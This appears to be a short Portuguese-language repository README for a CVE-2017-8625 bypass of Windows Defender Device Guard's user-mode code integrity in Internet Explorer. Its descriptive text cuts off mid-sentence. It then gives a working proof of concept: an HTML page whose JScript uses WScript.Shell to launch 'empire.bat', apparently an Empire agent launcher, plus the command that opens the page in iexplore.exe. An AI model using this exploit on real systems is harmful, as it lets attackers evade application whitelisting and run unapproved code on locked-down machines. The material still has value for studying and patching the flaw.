homjxi0e/cve-2017-8625_bypass_umciRecurso de bypass do UMCI no Internet Explorer
Windows Defender Device Guard é uma combinação de recursos de segurança de hardware e software relacionados a empresas que, quando configurados juntos, bloquearão um dispositivo para que ele execute apenas aplicativos confiáveis que você define em suas políticas de integridade de código. Se o aplicativo não for confiável, ele não pode ser executado, ponto final. Com hardware que atende aos requisitos básicos, isso também significa que mesmo que um invasor consiga obter controle do kernel do Windows, ele ou ela terá muito menos probabilidade de executar código executável malicioso. Com hardware apropriado, o Windows Defender Device Guard pode usar a nova segurança baseada em virtualização do Windows 10 (disponível nas SKUs Enterprise e Education para desktop e em todas as SKUs Server) para isolar o serviço de Integridade de Código do próprio kernel do Microsoft Windows. Nesse caso, o serviço de Integridade de Código é executado junto com o kernel em um contêiner protegido por hipervisor do Windows. Este guia explora os recursos individuais do Windows Defender Device Guard, bem como como planejar, configurar e implantá-los. Ele inclui:
UMCI impede que binários não aprovados sejam executados, restringe o Windows Scripting Host e coloca o PowerShell no modo de linguagem restrita. Isso torna a obtenção de execução de código em um sistema bastante desafiadora. Este post vai
======================================================================||>
======================================================================||>
<html>
<body>
<script type="text/jscript">
var r = new ActiveXObject("WScript.Shell").Run("empire.bat");
</script>
</body>
</html>
======================================================================||>
PS:> C:\Users\Homjxie> cmd /C "C:\Program Files\Internet Explorer\iexplore.exe " "C:\Users\Homjxie\Desktop\Homjxie.html"
======================================================================||>
======================================================================||> ======================================================================||>